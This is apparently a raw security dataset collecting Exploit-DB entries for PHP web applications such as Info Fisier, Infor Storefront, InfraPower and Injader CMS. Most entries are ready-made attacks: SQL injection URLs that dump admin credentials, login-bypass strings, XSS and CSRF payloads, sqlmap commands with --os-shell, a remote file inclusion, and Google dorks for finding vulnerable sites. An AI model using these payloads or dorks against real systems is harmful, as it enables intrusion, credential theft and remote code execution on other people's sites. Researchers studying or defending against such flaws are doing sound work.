deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10728
Description: info fisier 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-27
Author: kaozc9

Exploit:
################################################################################################
# [+] Author : kaozc9                                                                          #
# [+] Email  : kaozc9@gmail.com                                                                #
# [+] Site   : www.paradisextem.co.cc                                                          #
# [+] Team   : ParadisexTeam                                                                   #
# [+] Dork   : Powered by Info Fisier.                                                         #
################################################################################################
#=========================================XSS==================================================#
#                                                                                              #
# Affected Files:                                                                              #
#		http://server/path/search.php                                               #
#               http://server/path/uploads.php                                              #
#                                                                                              #
# POC:                                                                                         #
#     http://server/path/search.php?key=<script>alert(12345);</script>                      #
#     http://server/path/uploads.php?p=<script>alert(12345);</script>                       #
#=========================================SQL==================================================#
#                                                                                              #
# Affected Files:                                                                              #
#		http://server/path/file.php                                                 #
#               http://server/path/cut.php                                                  #
#                                                                                              #
# POC:                                                                                         #
#     http://server/path/file.php?id=-1 union select 1,@@version,3,4,5,6,7,8,9,10,11        #
#     http://server/path/cut.php?id=-1 union select 1,@@version,3,4,5,6,7,8,9,10,11         #  
#                                                                                              #
################################################################################################
Exploit-DB #10726
Description: Info Fisier 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-27
Author: AnGrY BoY

Exploit:
====================================================================================
[+]  Info Fisier 1.0  SQL Injection Vulnerability  

[+]  Software : Info Fisier 1.0
[+]  Author   : AnGrY BoY
[+]  Contact  : h4kurd@hotmail.com & h4kurd@yahoo.com
[+]  Home     : http://www.kurd-security.com    http://www.h4kurd.com
=====================================================================================


[+] Dork     : Powered by Info Fisier


[+] expolit:

[+] http://server/upload/file.php?id=[sql]

[+] http://server/upload/file.php?id=-54/**/union/**/select/**/1,concat(version(),0x3e,user(),0x3e,database()),3,4,5,6,7,8,9,10,11--

[+] http://server/file.php?id=-670/**/union/**/select/**/1,group_concat(admin,0x3e,pass),3,4,5,6,7,8,9,10,11/**/from+djsefu_useri--
                            

======================================================================================
[+]Special Thanks:- Hangaw_hawlery & FormatXformaT   and all kurd-security members
Exploit-DB #12415
Description: Infocus Real Estate Enterprise Edition Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-04-27
Author: Sid3^effects

Exploit:
Authentication bypass in Infocus Real Estate Enterprise Edition script
                                   Vendor:www.instantrankingseo.com _______________________Author:Sid3^effects aKa haRi____________________________
 

Description :

Infocus Real Estate Enterprise Edition, is a complete power packed script with tons of powerful features. You can now have your own Real Estate Script similar to 99acres.com, makaan.com or magicbricks.com. The script is very handy and completely customizable. Below are some of the outstanding features of this script.


---------------------------------------------------------------------------
    * Authentication bypass:

    The following script has authentication bypass.

    use ' or 1=1 or ''=' in both login and password.



ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--MaYuR--
Exploit-DB #48674
Description: Infor Storefront B2B 1.0 - 'usr_name' SQL Injection
Type: webapps
Platform: php
Date: 2020-07-15
Author: ratboy

Exploit:
# Exploit Title: Infor Storefront B2B 1.0 - 'usr_name' SQL Injection
# Google Dork: inurl:storefrontb2bweb
# Date: 2020-06-27
# Exploit Author: ratboy
# Vendor Homepage: https://www.insitesoft.com/infor-storefront/
# Version: Infor Storefront
# Tested on: Windows All Versions

[POC Multiple Vulns]

python sqlmap.py -u
"http://localhost/storefrontB2BWEB/login.do?setup_principal=true&action=prepare_forgot&login=true&usr_name=ass"
-p usr_name --dbms=mssql --level=5 --risk=3
--tamper=between,space2comment -o --random-agent --parse-errors
--os-shell --technique=ES


python sqlmap.py -u
"http://localhost/storefrontB2CWEB/cart.do?action=cart_add&itm_id=1"
-p itm_id --dbms=mssql --level=5 --risk=3
--tamper=between,space2comment -o --random-agent --parse-errors
--os-shell --technique=ES


or...

http://localhost/storefrontB2BWEB/login.do?setup_principal=true&action=prepare_forgot&login=true&usr_name=ass'[SQL
INJECTION];--

http://localhost/storefrontB2CWEB/cart.do?action=cart_add&itm_id=1'[SQL
INJECTION];--



-- 
Sincerly,
Aaron Schrom
Exploit-DB #1865
Description: Informium 0.12.0 - 'common-menu.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# Informium 0.12.0 - Remote File Include Vulnerabilities
# Script site: http://prdownloads.sourceforge.net/informium/
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko, pepi
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################
Expl:

http://www.site.com/[Informium_path]/admin/common-menu.php?CONF[local_path]=[evil_scripts]

# milw0rm.com [2006-06-02]
Exploit-DB #12714
Description: infoware - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: cyberlog

Exploit:
===============================================
infoware SQL Injection Vulnerability
===============================================


               __                  __               
 .----..--.--.|  |--..-----..----.|  |.-----..-----.
 |  __||  |  ||  _  ||  -__||   _||  ||  _  ||  _  |
 |____||___  ||_____||_____||__|  |__||_____||___  |
       |_____|                               |_____|

####################################################
# infoware SQL Injection Vulnerability
####################################################
# Vendor:http://www.infoware-in.com/
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline [ Now Just My Bot ] :P
# Dork          : "Developed by Infoware Solutions"

# Exploit       : [site]/faq.php?catid=[SQL Injection]
                  
# Thanks        : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
                  jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,blindboy,sukam,
                  SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathews,aurel666,Inoef,dbanie

# special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :), 
# Inj3ct0r Now Brothers with Sekuritionline
                
####################################################
# Demo: 
# http://localhost/faq.php?catid=[SQL Injection]

####################################################

We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!

KacrUt I h@te U :P [ jika kau tidak mau aku katakan LOv3 ]
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity



                __                  __  __    __                __  __               
 .-----..-----.|  |--..--.--..----.|__||  |_ |__|.-----..-----.|  ||__|.-----..-----.
 |__ --||  -__||    < |  |  ||   _||  ||   _||  ||  _  ||     ||  ||  ||     ||  -__|
 |_____||_____||__|__||_____||__|  |__||____||__||_____||__|__||__||__||__|__||_____|
Exploit-DB #40646
Description: InfraPower PPS-02-S Q213V1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-10-28
Author: LiquidWorm

Exploit:
InfraPower PPS-02-S Q213V1 Cross-Site Request Forgery


Vendor: Austin Hughes Electronics Ltd.
Product web page: http://www.austin-hughes.com
Affected version: Q213V1 (Firmware: V2395S)

Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each
IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs.
Patented IP Dongle provides IP remote access to the PDUs by a true
network IP address chain. Only 1xIP dongle allows access to max. 16
PDUs in daisy chain - which is a highly efficient cient application
for saving not only the IP remote accessories cost, but also the true
IP addresses required on the PDU management.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with admin
privileges if a logged-in user visits a malicious web site.

Tested on: Linux 2.6.28 (armv5tel)
           lighttpd/1.4.30-devel-1321
           PHP/5.3.9
           SQLite/3.7.10


Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic
                           @zeroscience


Advisory ID: ZSL-2016-5375
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5375.php


27.09.2016

--


PoC:

<html>
  <body>
    <form action="http://192.168.0.17/SNMP.php?Menu=SMP" method="POST">
      <input type="hidden" name="SNMPAgent" value="Enable" />
      <input type="hidden" name="CommuintyString" value="public" />
      <input type="hidden" name="CommuintyWrite" value="private" />
      <input type="hidden" name="TrapsVersion" value="v2Trap" />
      <input type="hidden" name="IP" value="192&#46;168&#46;0&#46;254" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #40644
Description: InfraPower PPS-02-S Q213V1 - Insecure Direct Object Reference
Type: webapps
Platform: php
Date: 2016-10-28
Author: LiquidWorm

Exploit:
InfraPower PPS-02-S Q213V1 Insecure Direct Object Reference Authorization Bypass


Vendor: Austin Hughes Electronics Ltd.
Product web page: http://www.austin-hughes.com
Affected version: Q213V1 (Firmware: V2395S)
Fixed version: Q216V3 (Firmware: IPD-02-FW-v03)

Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each
IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs.
Patented IP Dongle provides IP remote access to the PDUs by a true
network IP address chain. Only 1xIP dongle allows access to max. 16
PDUs in daisy chain - which is a highly efficient cient application
for saving not only the IP remote accessories cost, but also the true
IP addresses required on the PDU management.

Desc: Insecure Direct Object References occur when an application
provides direct access to objects based on user-supplied input. As
a result of this vulnerability attackers can bypass authorization
and access resources and functionalities in the system directly, for
example APIs, files, upload utilities, device settings, etc.

Tested on: Linux 2.6.28 (armv5tel)
           lighttpd/1.4.30-devel-1321
           PHP/5.3.9
           SQLite/3.7.10


Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic
                           @zeroscience


Advisory ID: ZSL-2016-5373
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5373.php


27.09.2016

--


GET /ConnPort.php
GET /CSSSource.php
GET /dball.php
GET /doupgrate.php
GET /IPSettings.php
GET /ListFile.php
GET /Menu.php
GET /Ntp.php
GET /PDUDetails_Ajax_Details.php
GET /PDULog.php
GET /PortSettings.php
GET /production_test1.php ("backdoor")
GET /UploadEXE.php
Exploit-DB #13848
Description: Infront - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-12
Author: TheMaStEr

Exploit:
# Exploit Title: Infront SQL Injection Vulnerability
# Date: 12-06-2010
# Author: TheMaster <v4m@hotmail.de>
# Software Link: http://www.infront.com/
# Version: N/A
# Tested on: Windows XP SP3

Author : TheMaster <v4m@hotmail.de>
Dork : intext:Powered by Infront
Type of attack : SQLi
File : breaking_news.php
Exploit Code : http://target/path/breaking_news.php?newsid=union select 1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login

After , you can login here : http://target/path/login.php

demo : http://server/breaking_news.php?newsid=-103+UNION+SELECT+1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login--

GreeTz : SA H4x0r <Abu Saud> , HiV Sec Team , Sec4ever and v4-Team Members
Exploit-DB #43102
Description: Ingenious 2.3.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Ingenious School Management System 2.3.0 - Arbitrary File Upload
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://iloveprograming.com/
# Software Link: https://www.codester.com/items/4945/ingenious-school-management-system
# Demo: http://iloveprograming.com/view/login.php
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15957
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an student,teacher upload arbitrary file....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/my_profile.php
# http://localhost/[PATH]/view/teacher_profile2.php
# http://localhost/[PATH]/uploads/[FILE]
# 
# Etc..
# # # # #
Exploit-DB #44770
Description: Ingenious School Management System - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-27
Author: Meisam Monsef

Exploit:
# Exploit Title: Ingenious School Management System - SQL Injection
# Date: 2018-05-26
# Exploit Author: Meisam Monsef - meisamrce@gmail.com - @meisamrce
# Vendor Homepage: https://www.codester.com/items/4945/ingenious-school-management-system
# Version: All Version


Exploit :
http://site.com/model/get_teacher.php?id=-10+[SQL+Command]
Exploit-DB #43108
Description: Ingenious School Management System 2.3.0 - 'friend_index' SQL injection
Type: webapps
Platform: php
Date: 2017-11-01
Author: Giulio Comi

Exploit:
# Exploit Title: Ingenious School Management System 2.3.0 - SQL injection
# Date: 01.11.2017
# Vendor Homepage: http://iloveprograming.com/
# Software Link: https://www.codester.com/items/4945/ingenious-school-management-system
# Demo: http://iloveprograming.com/view/login.php
# Version: 2.3.0
# Category: Webapps
# Tested on: Kali Linux 2.0
# Exploit Author: Giulio Comi
# Contact: https://<http://ihsan.net/>linkedin.com/in/giuliocomi
#Description

This vulnerability allows an attacker to inject SQL commands (without authentication) in 'friend_index' GET parameter.

# Proof of Concept:

http://localhost/view/friend_profile.php?friend_type=Student&friend_index=[SQL_injection_payload]


# Vulnerable Parameter: friend_index (GET)


    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: friend_type=Student&friend_index=1' AND 2576=2576 AND 'YJeg'='YJeg
    Vector: AND [INFERENCE]

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: friend_type=Student&friend_index=1' AND SLEEP(5) AND 'rliO'='rliO
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
Exploit-DB #32663
Description: Injader 2.1.1 - SQL Injection / HTML Injection
Type: webapps
Platform: php
Date: 2008-12-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/32843/info

Injader is prone to multiple HTML-injection vulnerabilities and an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Injader 2.1.2 are vulnerable. 

http://www.example.com/upload/feeds.php?name=articles&id=<SQL>
Exploit-DB #15798
Description: Injader CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-21
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22745
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_injader_cms_1.html
Product: Injader CMS
Vendor: http://www.injader.com/ ( http://www.injader.com/ ) 
Vulnerable Version: 2.4.4
Vendor Notification: 07 December 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/comment.php" script to properly sanitize user-supplied input in "txtGuestURL" variable.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:

<form action="http://injader/comment.php?action=create&area=1" method="post" name="main" >
<input type="hidden" name="txtGuestName" value="test"/>
<input type="hidden" name="txtGuestEmail" value="test@mail.com"/>
<input type="hidden" name="chkPreview" value="on"/>
<input type="hidden" name="txtContent" value="test"/>
<input type="hidden" name="txtArticleID" value="1"/>
<input type="hidden" name="txtGuestURL" value='http://123.com"><script>alert("XSS");</script>'/>
<input type="submit" value="submit" name="submit" />
</form>


Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "IJ-Login" variable from cookie.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

GET /index.php HTTP/1.1
Cookie: IJ-Login=123'SQL_CODE_HERE


Vulnerability Details:
The vulnerability exists due to failure in the "/search.php" script to properly sanitize user-supplied input in "area1" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

http://[host]/search.php?go=yes&q=a&area1=123%27SQL_CODE


Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/login.php" script to properly sanitize user-supplied input in "Referer" variable.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:

GET /login.php HTTP/1.1
Referer: "><script>alert('XSS');</script>
Exploit-DB #7517
Description: Injader CMS 2.1.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-18
Author: fuzion

Exploit:
Injader CMS
http://www.injader.com/



- (= 2.1.1 -

- SQL -
http://localhost/upload/feeds.php?name=articles&id=<SQL>
magic_quotes_gpc = Off
register_globals = On


Username (urlencode):
2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL FROM maj_users# AND 2511=2511
Pass:
2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(CHAR(0),IFNULL(CAST(userpass AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL FROM maj_users# AND 8758=8758



- Timeline -
Author notified: Nov 30, Dec 09,10
Injader 2.1.2: Dec 12
Public disclosure: Dec 18


- Seasons Greetings -
- http://nukeit.org -

# milw0rm.com [2008-12-18]
Exploit-DB #30294
Description: Inmostore 4.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-12
Author: Keniobats

Exploit:
source: https://www.securityfocus.com/bid/24884/info

Inmostore is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Inmostore 4.0 is vulnerable to this issue. 

http://www.example.com/admin/index.php

Username: admin
Password: 'or''='
Exploit-DB #36245
Description: Innovate Portal 2.0 - 'cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-10-20
Author: Eyup CELIK

Exploit:
source: https://www.securityfocus.com/bid/50295/info

Innovate Portal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?cat=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28948044%29%3c%2fScRiPt%3e&content=error&sid=57cdbb83e0ab1b879e0a0f91fbf22781&what=user_notfound
Exploit-DB #28603
Description: Innovate Portal 2.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-19
Author: meto5757

Exploit:
source: https://www.securityfocus.com/bid/20104/info

Innovate Portal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/index.php?content=[xss]